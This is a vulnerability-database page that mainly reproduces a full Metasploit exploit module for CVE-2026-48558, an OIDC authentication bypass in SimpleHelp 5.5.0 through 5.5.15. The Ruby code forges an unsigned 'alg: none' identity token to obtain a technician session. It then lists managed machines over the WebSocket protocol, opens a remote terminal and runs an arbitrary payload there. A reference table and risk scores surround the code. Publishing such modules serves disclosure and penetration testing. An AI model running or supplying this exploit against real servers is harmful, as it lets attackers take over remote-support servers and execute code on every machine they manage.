Lucene search
+L

...[ More ]

🗓️ 02 Sep 2026 00:00:00Reported by Zach Hanley, Horizon3.ai, Blackpoint Cyber, jheysel-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

OIDC token forgery in SimpleHelp 5.5.0-5.5.15 enables remote code execution via WebSocket terminal.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Verification of Cryptographic Signature in Simple-Help Simplehelp
2 Jul 202616:11
githubexploit
circl
Circl
CVE-2026-48558
13 Jun 202615:00
circl
cisa_kev
CISA KEV Catalog
SimpleHelp Authentication Bypass Vulnerability
29 Jun 202600:00
cisa_kev
cve
CVE
CVE-2026-48558
12 Jun 202617:07
cve
cvelist
Cvelist
CVE-2026-48558 SimpleHelp Authentication Bypass via Missing OIDC JWT Signature Verification
12 Jun 202617:07
cvelist
euvd
EUVD
EUVD-2026-36509
12 Jun 202617:07
euvd
kitploit
Kitploit
CVE-2026-48558
31 Aug 202601:09
kitploit
metasploit
Metasploit
SimpleHelp OIDC Authentication Bypass Remote Code Execution
12 Jun 202600:00
metasploit
nvd
NVD
CVE-2026-48558
12 Jun 202618:16
nvd
ptsecurity
Positive Technologies
PT-2026-48947
12 Jun 202600:00
ptsecurity
Rows per page
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      TECH_SERVER_PLANE = 0
      USER_CONNECT_PLANE = 2
      SOCKET_SETUP_PLANE = 0
      TERMINAL_PLANE = 5
    
      TRANSACTION_WRAPPER = -1_524_849_380
      GET_MACHINE_LIST = 13_000
      CONNECT_TO_MACHINE = 8_000
    
      TOTP_TOKEN_REQUEST = 170
      SOCKET_FIRST = -4_517_462
      SOCKET_PASSWORD_OK = -1_412_623_820
      SOCKET_BAD_PASSWORD = 1_126_292_666
      TERMINAL_COMMAND = 655_362
      TERMINAL_OUTPUT = 655_363
      TERMINAL_NEW = 655_369
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SimpleHelp OIDC Authentication Bypass Remote Code Execution',
            'Description' => %q{
              This module exploits CVE-2026-48558 to forge an OpenID Connect identity token and
              obtain a SimpleHelp technician session. It then uses SimpleHelp's legitimate remote
              access WebSocket protocol to connect to an online managed machine and execute a
              payload through the remote terminal.
    
              An OIDC provider must be enabled for a technician group that permits group-authenticated
              logins. The group must be allowed to access the selected machine and run remote commands.
              The SimpleHelp server must have a valid session license, and at least one managed machine
              must be online.
    
              SimpleHelp 5.5.0 through 5.5.15 are affected. Some SimpleHelp 6.0 prerelease builds before
              6.0 RC2 are also affected.
            },
            'Author' => [
              'Zach Hanley', # Discovery
              'Horizon3.ai', # Vulnerability research
              'Blackpoint Cyber', # Post-authentication intrusion chain
              'jheysel-r7' # Metasploit module
            ],
            'References' => [
              ['CVE', '2026-48558'],
              ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/'],
              ['URL', 'https://guides.simple-help.com/kb---security-vulnerabilities-05-2026'],
              ['URL', 'https://blackpointcyber.com/blog/a-djinn-in-the-machine-taskweavers-node-js-intrusion-chain/']
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-06-12',
            'Privileged' => true,
            'Payload' => {
              'BadChars' => "\x00\r\n"
            },
            'Targets' => [
              [
                'Unix/Linux/macOS Command',
                {
                  'Platform' => %w[linux osx unix],
                  'Arch' => ARCH_CMD,
                  'Shell' => 3,
                  'OSPattern' => /Linux|Ubuntu|Debian|Fedora|Red Hat|CentOS|macOS|Mac OS/i
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Shell' => 1,
                  'OSPattern' => /Windows/i
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the SimpleHelp installation', '/']),
            OptString.new('OIDC_PROVIDER', [false, 'The OIDC provider name (the first available provider is used by default)']),
            OptString.new('MACHINE_ID', [false, 'The managed machine ID to obtain a session on (the first online machine is used by default)']),
            OptString.new('NEW_USERNAME', [true, 'The username claim for the forged technician', Faker::Internet.username(specifier: 8..12)]),
            OptString.new('NEW_EMAIL', [true, 'The email claim for the forged technician', Faker::Internet.email]),
            OptString.new('NEW_DISPLAY_NAME', [true, 'The display name claim for the forged technician', Faker::Name.name])
          ]
        )
      end
    
      def check
        version_res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'allversions')
        )
        return CheckCode::Unknown('No response received from the target') unless version_res
        return CheckCode::Unknown('Unable to retrieve the SimpleHelp version') unless version_res.body =~ /^Visual Version:\s*(\d+\.\d+(?:\.\d+)?)/
    
        version = Rex::Version.new(Regexp.last_match(1))
        unless version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.15'))
          if version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')
            return CheckCode::Detected("SimpleHelp #{version} detected; the version string does not identify affected 6.0 prerelease builds")
          end
    
          return CheckCode::Safe("SimpleHelp version #{version} is not affected")
        end
    
        providers = oidc_providers
        return CheckCode::Safe("SimpleHelp #{version} does not expose an enabled OIDC provider") if providers.empty?
    
        provider_names = providers.filter_map { |provider| provider['name'] }.join(', ')
        CheckCode::Appears("SimpleHelp #{version} exposes OIDC provider(s): #{provider_names}")
      rescue StandardError => e
        CheckCode::Unknown("Failed to check the target: #{e.message}")
      end
    
      def exploit
        cookie_jar.clear
        session_cookie = create_technician_session
        @wsock = connect_ws(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path),
          'headers' => {
            'Cookie' => "#{session_cookie.name}=#{session_cookie.value}"
          }
        )
    
        technician = authenticate_websocket(session_cookie.value)
        report_service(
          host: rhost,
          port: rport,
          proto: 'tcp',
          name: ssl ? 'https' : 'http',
          info: 'SimpleHelp remote support server'
        )
        machine = select_machine(enumerate_machines)
        validate_machine_target!(machine)
    
        print_status("Connecting to managed machine #{machine['name'].inspect} (#{machine['machineID']})")
        establish_remote_terminal(machine['machineID'], technician)
    
        print_status("Executing the payload through the #{target.name} terminal")
        send_user_plane(TERMINAL_PLANE, {
          'type' => TERMINAL_COMMAND,
          'terminalNumber' => 0,
          'dataString' => "#{payload.encoded}\n"
        })
    
        report_vuln(
          host: rhost,
          port: rport,
          proto: 'tcp',
          name: name,
          info: "Executed a command on managed machine #{machine['machineID']} through a forged technician session",
          refs: references
        )
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        fail_with(Failure::Unreachable, "The SimpleHelp WebSocket connection failed: #{e.message}")
      end
    
      def cleanup
        @wsock&.wsclose
      rescue StandardError
        nil
      ensure
        super
      end
    
      def create_technician_session
        provider = select_provider
        print_status("Requesting an authorization flow for OIDC provider #{provider['name'].inspect}")
    
        callback = "#{normalize_uri(target_uri.path, 'webapps', 'technician')}/"
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'oidc_get'),
          'vars_get' => {
            'payload' => provider.merge('callback' => callback).to_json
          },
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, 'No response received while starting the OIDC flow') unless res
        fail_with(Failure::UnexpectedReply, "OIDC flow request returned HTTP #{res.code}") unless res.code == 200
    
        authorization_url = res.get_json_document
        fail_with(Failure::UnexpectedReply, 'The OIDC flow response did not contain an authorization URL') unless authorization_url.is_a?(String)
    
        begin
          authorization_query = URI.decode_www_form(URI.parse(authorization_url).query.to_s).to_h
        rescue URI::InvalidURIError, ArgumentError => e
          fail_with(Failure::UnexpectedReply, "The OIDC authorization URL could not be parsed: #{e.message}")
        end
    
        state = authorization_query['state']
        fail_with(Failure::UnexpectedReply, 'The OIDC authorization URL did not contain a state parameter') if state.blank?
    
        claims = {
          'sub' => Faker::Internet.uuid,
          'preferred_username' => datastore['NEW_USERNAME'],
          'name' => datastore['NEW_DISPLAY_NAME'],
          'email' => datastore['NEW_EMAIL'],
          'iat' => Time.now.to_i,
          'exp' => Time.now.to_i + 3600
        }
        claims['nonce'] = authorization_query['nonce'] if authorization_query['nonce'].present?
    
        id_token = [
          Rex::Text.encode_base64url({ 'alg' => 'none', 'typ' => 'JWT' }.to_json),
          Rex::Text.encode_base64url(claims.to_json),
          'x'
        ].join('.')
    
        print_status("Submitting a forged identity token for #{datastore['NEW_USERNAME'].inspect}")
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'oidc'),
          'vars_post' => {
            'state' => state,
            'id_token' => id_token
          },
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, 'No response received from the OIDC callback') unless res
        fail_with(Failure::UnexpectedReply, "The OIDC callback returned HTTP #{res.code}") unless [200, 302].include?(res.code)
    
        status_res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'status'),
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, 'No response received while verifying the technician session') unless status_res
        fail_with(Failure::UnexpectedReply, "The account status endpoint returned HTTP #{status_res.code}") unless status_res.code == 200
    
        status = status_res.get_json_document
        unless status.is_a?(Hash) && status['state'] == 'FULLY_AUTHENTICATED' && status['code'] == 1
          fail_with(Failure::NoAccess, 'The forged identity token did not create an authenticated technician session')
        end
    
        session_cookie = cookie_jar.cookies.find { |cookie| cookie.name == 'shelp-tc-sessionid' }
        fail_with(Failure::UnexpectedReply, 'Authentication succeeded but the technician session cookie was not found') unless session_cookie
    
        print_good("Authenticated as SimpleHelp technician #{status.dig('user', 'username') || datastore['NEW_USERNAME']}")
        session_cookie
      end
    
      def authenticate_websocket(session_token)
        send_websocket_message('credentials' => { 'sessionToken64' => session_token })
        login_accepted = false
    
        wait_for_websocket_message('technician WebSocket authentication') do |message|
          if message['code'] == TOTP_TOKEN_REQUEST
            send_websocket_message('message' => 'NONE')
            next false
          end
    
          if message['code'] == 1
            login_accepted = true
            next false
          end
    
          if message['code'] && message['code'] < 0
            fail_with(Failure::NoAccess, 'The technician session was rejected by the WebSocket endpoint')
          end
    
          next false unless login_accepted && message['transientTechUser'].is_a?(Hash)
    
          message['transientTechUser']
        end
      end
    
      def enumerate_machines
        send_tech_transaction(0, 'type' => GET_MACHINE_LIST)
        machines = wait_for_websocket_message('managed machine list') do |message|
          candidate = message.dig('payload', 'payload', 'machines') if message['plane'] == TECH_SERVER_PLANE
          candidate.is_a?(Array) ? candidate : false
        end
        print_status("Found #{machines.length} managed machine#{machines.length == 1 ? '' : 's'}")
        machines
      end
    
      def select_machine(machines)
        requested_id = datastore['MACHINE_ID']
        if requested_id.present?
          machine = machines.find { |candidate| candidate['machineID'] == requested_id }
          fail_with(Failure::BadConfig, "Managed machine #{requested_id.inspect} was not found") unless machine
        else
          machine = machines.find { |candidate| candidate['online'] }
          fail_with(Failure::NotFound, 'No online managed machines are visible to the forged technician') unless machine
        end
    
        fail_with(Failure::NoTarget, "Managed machine #{machine['machineID']} is offline") unless machine['online']
        machine
      end
    
      def validate_machine_target!(machine)
        machine_os = machine['os'].to_s
        return if machine_os.match?(target['OSPattern'])
    
        fail_with(Failure::BadConfig, "The selected #{target.name} target does not match managed machine OS #{machine_os.inspect}")
      end
    
      def establish_remote_terminal(machine_id, technician)
        send_tech_transaction(1, {
          'type' => CONNECT_TO_MACHINE,
          'machineID' => machine_id
        })
    
        connection_accepted = false
        socket_authenticated = false
        terminal_output = +''
    
        wait_for_websocket_message('remote terminal prompt', timeout: 45) do |message|
          if message['plane'] == TECH_SERVER_PLANE && message.dig('payload', 'conv') == 1
            response = message.dig('payload', 'payload')
            if response['type'] == -3
              fail_with(Failure::NoAccess, "SimpleHelp refused the remote session: #{response['note']}")
            elsif response['type'].to_i < 0
              fail_with(Failure::UnexpectedReply, "SimpleHelp returned remote connection error #{response['type']}: #{response['note']}")
            elsif response['type'] == 1
              connection_accepted = true
            end
          end
    
          next false unless message['plane'] == USER_CONNECT_PLANE
    
          nested = message['payload']
          next false unless nested.is_a?(Hash) && nested['plane']
    
          nested_payload = nested['payload']
          next false unless nested_payload.is_a?(Hash)
    
          if nested['plane'] == SOCKET_SETUP_PLANE
            case nested_payload['type']
            when SOCKET_FIRST
              send_user_plane(SOCKET_SETUP_PLANE, 'password' => '')
            when SOCKET_BAD_PASSWORD
              fail_with(Failure::NoAccess, 'The managed machine requires a remote access password')
            when SOCKET_PASSWORD_OK
              basic_technician = {
                'uniqueID' => technician['uniqueID'],
                'displayName' => technician['displayName'],
                'username' => technician['username'],
                'emailAddress' => technician['emailAddress'],
                'isOnline' => true
              }
              send_user_plane(SOCKET_SETUP_PLANE, basic_technician)
              Rex.sleep(0.5)
              send_user_plane(TERMINAL_PLANE, {
                'type' => TERMINAL_NEW,
                'terminalNumber' => 0,
                'shell' => target['Shell']
              })
              socket_authenticated = true
            end
          elsif nested['plane'] == TERMINAL_PLANE && nested_payload['type'] == TERMINAL_OUTPUT
            data = nested_payload['data']
            terminal_output << data.pack('C*') if data.is_a?(Array)
          end
    
          connection_accepted && socket_authenticated && terminal_output.match?(/[>$%]\s*\z|#\s*\z/)
        end
      end
    
      def send_tech_transaction(conversation_id, request)
        send_websocket_message(
          'plane' => TECH_SERVER_PLANE,
          'payload' => {
            'type' => TRANSACTION_WRAPPER,
            'conv' => conversation_id,
            'payload' => request
          }
        )
      end
    
      def send_user_plane(plane, payload)
        send_websocket_message(
          'plane' => USER_CONNECT_PLANE,
          'payload' => {
            'plane' => plane,
            'payload' => payload
          }
        )
      end
    
      def send_websocket_message(message)
        @wsock.put_wstext(message.to_json)
      end
    
      def wait_for_websocket_message(description, timeout: 20)
        deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout
        loop do
          remaining = deadline - Process.clock_gettime(Process::CLOCK_MONOTONIC)
          fail_with(Failure::TimeoutExpired, "Timed out waiting for #{description}") if remaining <= 0
    
          message = receive_websocket_message(remaining)
          result = yield(message)
          return result if result
        end
      end
    
      def receive_websocket_message(timeout)
        frame = ::Timeout.timeout(timeout) do
          loop do
            frame = @wsock.get_wsframe
            fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') unless frame
    
            if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::PING
              @wsock.put_wsframe(frame.dup.tap { |reply| reply.header.opcode = Rex::Proto::Http::WebSocket::Opcode::PONG })
              next
            end
            fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
            next unless frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::TEXT
    
            break frame
          end
        end
    
        JSON.parse(frame.payload_data.to_s)
      rescue ::Timeout::Error
        fail_with(Failure::TimeoutExpired, 'Timed out waiting for a SimpleHelp WebSocket response')
      rescue JSON::ParserError => e
        fail_with(Failure::UnexpectedReply, "SimpleHelp returned an invalid WebSocket JSON message: #{e.message}")
      end
    
      def oidc_providers
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'login_options')
        )
        return [] unless res&.code == 200
    
        options = res.get_json_document
        return [] unless options.is_a?(Array)
    
        options.select { |provider| provider.is_a?(Hash) && %w[oidc azure].include?(provider['type']) }
      end
    
      def select_provider
        providers = oidc_providers
        fail_with(Failure::NotFound, 'No enabled OIDC provider was exposed by SimpleHelp') if providers.empty?
    
        requested_provider = datastore['OIDC_PROVIDER']
        return providers.first if requested_provider.blank?
    
        provider = providers.find { |candidate| candidate['name'] == requested_provider }
        fail_with(Failure::BadConfig, "OIDC provider #{requested_provider.inspect} was not found") unless provider
    
        provider
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 49.5
CVSS 3.110
EPSS0.30045
SSVC
7